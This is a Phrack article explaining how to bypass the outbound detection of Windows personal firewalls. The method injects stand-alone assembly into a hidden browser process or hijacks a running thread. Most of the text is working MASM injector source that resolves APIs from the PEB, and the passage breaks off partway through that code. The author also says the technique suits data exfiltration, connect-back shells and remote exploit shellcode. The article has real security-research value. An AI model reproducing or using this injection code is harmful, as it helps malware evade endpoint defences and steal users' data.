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==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10
|=--=[ Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ rattle ]=--------------------------------=|
-[0x00] :: Table Of Contents ---------------------------------------------
[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words
[0x0A] references
[0x0B] injector source code
[0x0C] Tiny bypass source code
[0x0D] binaries (base64)
-[0x01] :: introduction --------------------------------------------------
This entire document refers to a feature of software firewalls
available for Windows OS, which is called "outbound detection".
This feature has nothing to do with the original idea of a
firewall, blocking incomming packets from the net: The outbound
detection mechanism is ment to protect the user from malicious
programs that run on his own computer - programs attempting to
communicate with a remote host on the Internet and thereby
leaking sensible information. In general, the outbound detection
controls the communication of local applications with the
Internet.
In a world with an increasing number of trojan horses, worms
and virii spreading in the wild, this is actually a very handy
feature and certainly, it is of good use. However, ever since
I know about software firewalls, I have been wondering whether
they could actually provide a certain level of security at all:
After all, they are just software supposed protect you against
other software, and this sounds like bad idea to me.
To make a long story short, this outbound detection can be
bypassed, and that's what will be discussed in this paper.
I moreover believe that if it is possible to bypass this one
restriction, it is somehow possible to bypass other restrictions
as well. Personal firewalls are software, trying to control
another piece of software. It should in any case be possible
to turn this around by 180 degrees, and create a piece of
software that controls the software firewall.
Also, how to achieve this in practice is part of the discussion
that will follow: I will not just keep on talking about abstract
theory. It will be explained and illustrated with sample source
code how to bypass a software firewall by injecting code to a
trusted process. It might be interesting to you that the method
of runtime process infection that will be presented and explained
does not require an external DLL - the bypass can be performed
by a stand-alone and tiny executable.
Thus, this paper is also about coding, especially Win32 coding.
To understand the sample code, you should be familiar with
Windows, the Win32 API and basic x86 Assembler. It would also be
good to know something about the PE format and related things,
but it is not necessary, as far as I can see. I will try to
explain everything else as precisely as possible.
Note: If you find numbers enclosed in normal brackets within
the document, these numbers are references to further sources.
See [0x0A] for more details.
-[0x02] :: how software firewalls work -----------------------------------
Of course, I can only speak about the software firewalls I have
seen and tested so far, but I am sure that these applications
are among the most widely used ones. Since all of them work in a
very similar way, I assume that the concept is a general concept
of software firewalls.
Almost every modern software firewall provides features that
simulate the behaviour of hardware firewalls by allowing the
user to block certain ports. I have not had a close look on
these features and once more I want to emphasize that breaking
these restrictions is outside the scope of this paper.
Another important feature of most personal firewalls is the
concept of giving privileges and different levels of trust to
different processes that run on the local machine to provide a
measure of outbound detection. Once a certain executable creates
a process attempting to access the network, the executable file
is checksummed by the software firewall and the user is prompted
whether or not he wants to trust the respective process.
To perform this task, the software firewall is most probably
installing kernel mode drivers and hooks to monitor and intercept
calls to low level networking routines provided by the Windows OS
core. Appropriately, the user can trust a process to connect() to
another host on the Internet, to listen() for connections or to
perform any other familiar networking task. The main point is: As
soon as the user gives trust to an executable, he also gives
trust to any process that has been created from that executable.
However, once we change the executable, its checksum would no
longer match and the firewall would be alerted.
So, we know that the firewall trusts a certain process as long as
the executable that created it remains the same. We also know that
in most cases, a user will trust his webbrowser and his email
client.
-[0x03] :: process Infection without external .dll -----------------------
The software firewall will only calculate and analyze the checksum
for an executable upon process creation. After the process has
been loaded into memory, it is assumed to remain the same until it
terminates.
And since I have already spoken about runtime process infection,
you certainly have guessed what will follow. If we cannot alter
the executable, we will directly go for the process and inject
our code to its memory, run it from there and bypass the firewall
restriction.
If this was a bit too fast for you, no problem. A process is
loaded into random access memory (RAM) by the Windows OS as soon
as a binary, executable file is executed. Simplified, a process
is a chunk of binary data that has been placed at a certain
address in memory. In fact, there is more to it. Windows does a
lot more than just writing binary data to some place in memory.
For making the following considerations, none of that should
bother you, though.
For all of you who are already familiar with means of runtime
process infection - I really dislike DLL injection for this
purpose, simply because there is definitely no option that could
be considered less elegant or less stealthy.
In practice, DLL injection means that the executable that
performs the bypass somehow carries the additional DLL it
requires. Not only does this heaviely increase the size of the
entire code, but this DLL also has to be written to HD on the
affected system to perform the bypass. And to be honest - if
you are really going to write some sort of program that needs
a working software firewall bypass, you exactly want to avoid
this sort of flaws. Therefore, the presented method of runtime
process infection will work completely without the need of any
external DLL and is written in pure x86 Assembly.
To sum it all up: All that is important to us now is the ability
to get access to a process' memory, copy our own code into that
memory and execute the code remotely in the context of that
process.
Sounds hard? Not at all. If you have a well-founded knowledge of
the Win32 API, you will also know that Windows gives a programmer
everything he needs to perform such a task. The most important
API call that comes to mind probably is CreateRemoteThread().
Quoting MSDN (1):
The CreateRemoteThread function creates a thread that
runs in the address space of another process.
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Great, we can execute code at a certain memory address inside
another process and we can even pass one DWORD of information as
a parameter to it. Moreover, we will need the following 2 API
calls:
VirtualAllocEx()
WriteProcessMemory()
they give us the power to inject our own arbitrary code to the
address space of another process - and once it is there, we will
create a thread remotely to execute it.
To sum everything up: We will create a binary executable that
carries the injection code as well as the code that has to be
injected in order to bypass the software firewall. Or, speaking
in high-level programming terms: We will create an exe file that
holds two functions, one to inject code to a trusted process
and one function to be injected.
-[0x04] :: problems of this implementation -------------------------------
It all sounds pretty easy now, but it actually is not. For
instance, you will barely be able to write an application in C
that properly injects another (static) C function to a remote
process. In fact, I can almost guarantee you that the remote
process will crash. Although you can call the relevant API calls
from C, there are much more underlying problems with using a
high level language for this purpose. The essence of all these
problems can be summed up as follows: compilers produce ASM code
that uses hardcoded offsets. A simple example: Whenever you use
a constant C string, this C string will be stored at a certain
position within the memory of your resulting executable, and any
reference to it will be hardcoded. This means, when your process
needs to pass the address of that string to a function, the
address will be completely hardcoded in the binary code of your
executable.
Consider:
void main() {
printf("Hello World");
return 0;
}
Assume that the string "Hello World" is stored at offset 0x28048
inside your executable. Moreover, the executable is known to
load at a base address of 0x00400000. In this case, the binary
code of your compiled and linked executable will somewhere refer
to the address 0x00428048 directly.
A disassembly of such a sample application, compiled with Visual
C++ 6, looks like this:
00401597 ...
00401598 push 0x00428048 ; the hello world string
0040159D call 0x004051e0 ; address of printf
0040159E ...
What is the problem with such a hardcoded address? If you stay
inside your own address space, there is no problem. However ...
once you move that code to another address space, all those
memory addresses will point to entirely different things. The
hello world string in my example is more than 0x20000 = 131072
bytes away from the actual program code. So, if you inject that
code to another process space, you would have to make sure that
at 0x00428048, there is a valid C string ... and even if there
was something like a C string, it would certainly not be
"Hello World". I guess you get the point.
This is just a simple example and does not even involve all the
problems that can occur. However, also the addresses of all
function calls are hardcoded, like the address of the printf
function in our sample. In another process space, these
functions might be somewhere else or they could even be missing
completely - and this leads to the most weird errors that you
can imagine. The only way to make sure that all the addresses
are correct and that every single CPU instruction fits, we have
to write the injected code in ASM.
Note: There are several working implementations for an outbound
detection bypass for software firewalls on the net using a
dynamic link library injection. This means, the implementation
itself consists of one executable and a DLL. The executable
forces a trusted process to load the DLL, and once it has been
loaded into the address space of this remote process, the DLL
itself performs any arbitrary networking task. This way to bypass
the detection works very well and it can be implemented in a high
level language easiely, but I dislike the dependency on an
external DLL, and therefore I decided to code a solution with one
single stand-alone executable that does the entire injection by
itself. Refer to (2) for an example of a DLL injection bypass.
Also, LSADUMP2 (3) uses exactly the same measure to grab
the LSA secrets from LSASS.EXE and it is written in C.
-[0x05] :: how to implement it -------------------------------------------
Until now, everything is just theory. In practice, you will
always encounter all kinds of problems when writing code like
this. Furthermore, you will have to deal with detail questions
that have only partially to do with the main problem. Thus,
let us leave the abstract part behind and think about how to
write some working code.
Note: I strongly recommend you to browse the source code in
[A] while reading this part, and it would most definitely be a
good idea to have a look at it before reading [0x0B].
First of all, we want to avoid as much hardcoded elements as
possible. And the first thing we need is the file path to the
user's default browser. Rather than generally refering to
"C:\Program Files\Internet Explorer\iexplore.exe", we will
query the registry key at "HKCR\htmlfile\shell\open\command".
Ok, this will be rather easy, I assume you know how to query
the registry. The next thing to do is calling CreateProcess().
The wShowWindow value of the STARTUP_INFO structure passed to
the function should be something like SW_HIDE in order to keep
the browser window hidden.
Note: If you want to make entirely sure that no window is
displayed on the user's screen, you should put more effort
into this. You could, for instance, install a hook to keep all
windows hidden that are created by the process or do similar
things. I have only tested my example with Internet Explorer
and the SW_HIDE trick works well with it. In fact, it should
work with most applications that have a more or less simple
graphical user interface.
To ensure that the process has already loaded the most
essential libraries and has reached a generally stable state,
we use the WaitForInputIdle() call to give the process some
time for intialization.
So far, so good - now we proceed by calling VirtualAllocEx()
to allocate memory within the created process and with
WriteProcessMemory(), we copy our networking code. Finally,
we use CreateRemoteThread() to run that code and then, we only
have to wait until the thread terminates. All in all, the
injection itself is not all that hard to perform.
The function that will be injected can receive a single
argument, one double word. In the example that will be
presented in [0x0B], the injected procedure connects to
www.phrack.org on port 80 and sends a simple HTTP GET request.
After receiving the header, it displays it in a message box.
Since this is just a very basic example of a working firewall
bypass code, our injected procedure will do everything on its
own and does not need any further information.
However, we will still use the parameter to pass a 32 bit
value to our injected procedure: its own "base address". Thus,
the injected code knows at which memory address it has been
placed, in the conetxt of the remote process. This is very
important as we cannot directly read from the EIP register
and because our injected code will sometimes have to refer to
memory addresses of data structures inside the injected code
itself.
Once injected and placed within the remote process, the
injected code basically knows nothing. The first important
task is finding the kernel32.dll base address in the context
of the remote process and from there, get the address of the
GetProcAddress function to load everything else we need. I
will not explain in detail how these values are retrieved,
the entire topic cannot be covered by this paper. If you are
interested in details, I recommend the paper about Win32
assembly components by the Last Stage of Delirium research
group (4). I used large parts of their write-up for the
code that will be described in the following paragraphs.
In simple terms, we retrieve the kernel32 base address from
the Process Environment Block (PEB) structure which itself
can be found inside the Thread Environment Block (TEB). The
offset of the TEB is always stored within the FS register,
thus we can easiely get the PEB offset as well. And since
we know where kernel32.dll has been loaded, we just need to
loop through its exports section to find the address of
GetProcAddress(). If you are not familiar with the PE format,
don't worry.
A dynamic link library contains a so-called exports section.
Within this section, the offsets of all exported functions
are assigned to human-readable names (strings). In fact,
there are two arrays inside this section that interest us.
There are actually more than 2 arrays inside the exports
section, but we will only use these two lists. For the rest
of this paper, I will treat the terms "list" and "array"
equally, the formal difference is of no importance at this
level of programming. One array is a list of standard,
null-terminated C-strings. They contain the function names.
The second list holds the function entry points (the
offsets).
We will do something very similar to what GetProcAddress()
itself does: We will look for "GetProcAddress" in the first
list and find the function's offset within the second array
this way.
Unfortunately, Microsoft came up with an idea for their DLL
exports that makes everything much more complicated. This
idea is named "forwarders" and basically means that one DLL
can forward the export of a function to another DLL. Instead
of pointing to the offset of a function's code inside the DLL,
the offset from the second array may also point to a null-
terminated string. For instance, the function HeapAlloc() from
kernel32.dll is forwarded to the RtlAllocateHeap function in
ntdll.dll. This means that the alleged offset of HeapAlloc()
in kernel32.dll will not be the offset of a function that has
been implemented in kernel32.dll, but it will actually be the
offset of a string that has been placed inside kernel32.dll.
This particular string is "NTDLL.RtlAllocateHeap".
After a while, I could figure out that this forwarder-string
is placed immediately after the function's name in array #1.
Thus, you will find this chunk of data somewhere inside
kernel32.dll:
48 65 61 70 41 6C 6C 6F HeapAllo
63 00 4E 54 44 4C 4C 2E c.NTDLL.
52 74 6C 41 6C 6C 6F 63 RtlAlloc
61 74 65 48 65 61 70 00 ateHeap.
= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
This is, of course, a bit confusing as there are now more null-
terminated strings in the first list than offsets in the second
list - every forwarder seems like a function name itself.
However, bearing this in mind, we can easiely take care of the
forwarders in our code.
To identify the "GetProcAddress" string, I also make use of a
hash function for short strings which is presented by LSD group
in their write-up (4). The hash function looks like this in C:
unsigned long hash(const char* strData) {
unsigned long hash = 0;
char* tChar = (char*) strData;
while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
return hash;
}
The calculated hash for "GetProcAddr" is, 0x099C95590 and we
will search for a string in the exports section of kernel32.dll
that matches this string. Once we have the address of
GetProcAddress() and the base address of kernel32, we can
easiely load all other API calls and libraries we need. From
here, everything left to do is loading ws2_32.dll and using the
socket system calls from that library to do whatever we want.
Note: I'd suggest to read [0x0B] now.
-[0x06] :: limits of this implementation ---------------------------------
The sample code presented in this little paper will give you a
tiny executable that runs in RING3. I am certain that most
software firewalls contain kernel mode drivers with the ability
to perform more powerful tasks than this injector executable.
Therefore, the capabilities of the bypass code are obviously
limited. I have tested the bypass against several software
firewalls and got the following results:
Zone Alarm 4 vulnerable
Zone Alarm Pro 4 vulnerable
Sygate Pro 5.5 vulnerable
BlackIce 3.6 vulnerable
Tiny 5.0 immune
Tiny alerts the user that the injector executable spawns the
browser process, trying to access the network this way. It looks
like Tiny simply acts exactly like all the other software
firewalls do, but it is just more careful. Tiny also hooks API
calls like CreateProcess() and CreateRemoteThread() - thus, it
can protect its users from this kind of bypass.
Anyway, by the test results I obtained, I was even more
confirmed that software firewalls act as kernel mode drivers,
hooking API calls to monitor networking activity.
Thus, I have not presented a firewall bypass that works in 100%
of all possible cases. It is just an example, a proof for the
general possibility to perform a bypass.
-[0x07] :: workaround: another infection method --------------------------
Phrack Staff suggested to present a workaround for the problem
with Tiny by infecting an already running, trusted process.
I was certain that this would not be the only thing to take
care of, since Tiny would most likely be hooking our best friend,
CreateRemoteThread(). Unfortunately, I actually figured out that
I had been right, and merely infecting an already running
process did not work against Tiny.
However, there are other ways to force execution of our own
injected code, and I will briefly explain my workaround for
those of you who are interested. All I am trying to prove here
is that you can outsmart any software firewall if you put some
effort into coding an appropriate bypass.
The essential API calls we will need are GetThreadContext() and
appropriately, SetThreadContext(). These two briefly documented
functions allow you to modify the CONTEXT of a thread. What is
the CONTEXT of a thread? The CONTEXT structure contains the
current value of all CPU registers in the context of a certain
thread. Hence, with the two API calls mentioned above, you can
retrieve these values and, more importantly, apply new values
to each CPU register in the thread's context as well. Of high
interest to us is the EIP register, the instruction pointer for
a thread.
First of all, we will simply find an already running, trusted
process. Then, as always, we write our code to its memory using
the methods already discussed before. This time, however, we
will not create a new thread that starts at the address of our
injected code, we will rather hijack the primary thread of the
trusted process by changing its instruction pointer to the
address of our own code.
That's the essential theory behind this second bypass, at least.
In practice, we will proceed more cautiously to be as stealthy
as possible. First of all, we will not simply write the injection
function to the running process, but several other ASM codes as
well, in order to return to the original context of the hijacked
thread once our injected code has finished its work. As you can
see from the ASM source code in [0x0C], we want to copy a chunk
of shellcode to the process that looks like this in a debugger:
<base + 0x00> PUSHAD ; safe all registers
<base + 0x01> PUSHFD ; safe all flags
<base + 0x02> PUSH <base + 0x13> ; first argument: own address
<base + 0x07> CALL <base + 0x13> ; call the injected code
<base + 0x0C> POPFD ; restore flags
<base + 0x0D> POPAD ; restore registers
<base + 0x0E> JMP <orignal EIP> ; "restore" original context
<base + 0x13> ... ; inject function starts here
Remember, this code is being injected at a memory offset very
far away from the original context of the thread. That's why
we will need a 4 byte - relative address for the JMP.
All in all, this is an easy and simple solution to avoid that
our trusted process just crashes after the injected code has
run. Moreover, I decided to use an event object that becomes
signaled by the injected code once the HTTP request has been
performed successfully. This way, the injector executable
itself is informed once the injected routine has finished its
job. We can then deallocate the remote memory and perform a
general cleanup. Stealthieness is everything.
I should say that [0x0C] is a bit more fragile and less reliable
than the first bypass shown in [0x0B]. However, this second one
will definitely work against all tested firewalls and most
probably also against others. Nevertheless, you should bear in
mind that it assumes Internet Explorer to be a trusted process
without looking up anything in the registry or elsewhere.
Furthermore, I only used this second bypass together with a
running instance of Internet Explorer, other applications might
require you not to hijack the primary thread, but another one.
The primary thread is usually a safe bet as we can assume that
it does not block or idle at the moment of infection. However,
it could theoretically also happen that the program's interface
suddenly freezes because the injected code is running rather
than the code that was intended to run. With this very sample
program and internet explorer, I did not encounter such
problems, though. It also works with "OUTLOOK.EXE" and others,
so I think it can be considered a good and stable approach.
-[0x08] :: conclusion ----------------------------------------------------
I feel that I can be satisfied with the test results I obtained.
Although the injector executable is generally inferior to a
kernel mode software firewall, it could easiely trick 80% of the
most popular software firewall products.
My second bypass even works against all of them, and I am as sure
as I can be that an appropriate bypass can actually be coded for
every single software firewall. Both of the sample codes merely
send a simple HTTP request, but it would actually be quite easy
to have them perform any other networking task. For instance,
sending an email with sensitive information would work exactly
the same way. The injected code would just have to be more
sophisticated or rather, larger than the sample provided here.
Bearing in mind that I achieved this with a 5k user-mode
application, I am certain that it would be even more easy to
bypass any software firewall with an appropriate piece of code
running in RING0, eventually hooking low level calls itself.
Who knows, perhaps this technique is already being used by
people who did the same sort of research. The overall conclusion
is: software firewalls are insecure. And I am very much at ease
with this generalization: The concept of a software firewall,
not the implementation, is the main problem.
Software can not protect you from other software without being
at constant risk to be tricked by another piece of software
again.
Why is this a risk? This is in fact a huge risk because software
firewalls ARE being used on Windows Workstations widely. Within
a network, it is commonplace to use both software and hardware
firewalls. Moreover, the software firewalls in such networks only
serve the very purpose of protecting the network from backdoor
programs by supplying some sort of outbound detection. And after
all, this protection is obviously too weak.
Apart from the danger for privately used computers, which have
hereby been proven to be insufficiently protected against trojan
horses and worms, exploitation of a remote Windows Workstation
using a software firewall can most definitely involve the use of
methods described in this paper. The ASM code for the two bypass
samples can be transformed into shellcode for any remote Windows
exploit. Once a service a Windows network is found to be
vulnerable to a remote exploit, it would be also possible to
overcome the outbound detection of the respective software
firewall this way.
The sample applications connect to www.phrack.org on port 80,
but you can actually infect a trusted process and have it
do about anything along the lines of providing a shell by
connecting back to your IP.
-[0x09] :: Last Words ----------------------------------------------------
I'd like to emphasize that I am not responsible for anyone using
that sample code with his/her homemade trojan to leech porn from
his friend's PC. Seriously, this is just a sample for educational
purposes, it should not be used for any kind of illegal purpose.
Thanks a lot to Paris2K for helping me with developing and
testing the injector app. Good luck and success with your thesis.
Greets and thanks to drew, cube, the_mystic - and also many
thanks to you, jason ... for all your helpful advice.
If you want or need to contact me:
Email, MSN - rattle@awarenetwork.org
ICQ - 74684282
Website - http://www.awarenetwork.org/
.aware
-[0x0A] :: References ----------------------------------------------------
These are links to projects and papers that have been
referenced somewhere inside this document.
(1) The MSDN library provides Windows programmers with almost
all the reference they need, no doubt about that.
http://msdn.microsoft.com/
(2) Another project that bypasses the outbound detection
of software firewalls. Unfortunately, no source code
is available and it also uses and external DLL:
http://keir.net/firehole.html
(3) LSADUMP2 is the only C source code I found that
illustrates the method of injecting a DLL into another
process' address space:
http://razor.bindview.com/tools/desc/lsadump2_readme.html
(4) Many respect to the LSD research group for their nice
and easy-to-read paper "Win32 Assembly Components":
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
Perhaps you might want to check out their entire projects
section:
http://lsd-pl.net/projects.html
(5) Negatory Assembly Studio is my favourite x86 ASM IDE,
as far as an IDE for Assembly makes sense at all. You
might need it for the ASM source code provided as I
make use of it's "standard library" for Win32 calls:
http://www.negatory.com/asmstudio/
-[0x0B] :: injector.exe source code --------------------------------------
Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc
bypass PROTO NEAR STDCALL, browser:DWORD ; injector function
inject PROTO NEAR STDCALL, iBase:DWORD ; injected function
; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.
PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM
; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM
.DATA
sFail DB "Injection failed.",0
sCapFail DB "Failure",0
REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
REG_BROWSER_KEY DD ?
BROWSER DB MAX_PATH DUP(0)
BR_SIZE DD MAX_PATH
FUNCSZE EQU inject_end - inject
.CODE
Main: ; We retrieve the defaul browser path from the
; registry by querying HKCR\htmlfile\shell\open\command
INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \
ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY
CMP EAX, ERROR_SUCCESS
JNE RR
INVOKE RegQueryValue, REG_BROWSER_KEY, \
EAX, ADDR BROWSER, ADDR BR_SIZE
INVOKE RegCloseKey, REG_BROWSER_KEY
; Now we call the bypass function by supplying the
; path to the browser as the first argument.
INVOKE bypass, OFFSET BROWSER
RR: INVOKE ExitProcess, 0
bypass PROC NEAR STDCALL, browser:DWORD
LOCAL sinf :STARTUPINFO
LOCAL pinf :PROCESS_INFORMATION
LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; thread ID
LOCAL thRemoteThreadHandle :DWORD ; thread handle
LOCAL pbRemoteMemory :DWORD ; base address
; Get our own startupinfo details out of lazieness
; and alter the wShowWindow attribute to SW_HIDE
INVOKE GetStartupInfo,ADDR sinf
MOV sinf.wShowWindow, SW_HIDE
; Create the brwoser process and WaitForinputIdle()
; to give it some time for initialization
INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
ADDR sinf,ADDR pinf
EJUMP ERR_CLEAN
INVOKE WaitForInputIdle, pinf.hProcess, 10000
CMP EAX,0
JNE ERR_CLEAN
MOV EBX, pinf.hProcess
MOV ECX, pinf.hThread
; Allocate memory in the remote process' address
; space and use WriteProcessMemory() to copy the
; code of the inject procedure.
MOV EDX, FUNCSZE
INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
PAGE_EXECUTE_READWRITE
EJUMP ERR_SUCC
MOV pbRemoteMemory,EAX
MOV EDX,FUNCSZE
INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
inject, EDX, 0
EJUMP ERR_CLEAN_VF
; The code has been copied, create a thread that
; starts at the remote address
INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP ERR_CLEAN_TH
MOV thRemoteThreadHandle,EAX
MOV dwReturn,0
; Wait until the remote thread terminates and see what the
; return value looks like. The inject procedure will return
; a boolean value in EAX, indicating whether or not it was
; successful.
INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
; If the return value equals 0, an error has occured and we
; will display a failure MessageBox()
CMP dwReturn, 0
JNE ERR_CLEAN_TH
INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
ERR_CLEAN_TH:
INVOKE CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
INVOKE TerminateProcess, EBX, 0
INVOKE CloseHandle,pinf.hThread
INVOKE CloseHandle,pinf.hProcess
ERR_SUCC:
RET
bypass ENDP
inject PROC NEAR STDCALL, iBase:DWORD
LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD
LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD
LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD
LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD
LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0
sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0
sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10
sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org",\
13,10,13,10,0
sCap DB "Injection successful",0
sRepl DB 601 DUP(0)
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially
MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address
MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address
MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping
M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash
HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH
; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.
PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name
MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.
; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.
CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder
FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1
; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.
LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary
PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it
PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX
LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose
PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.
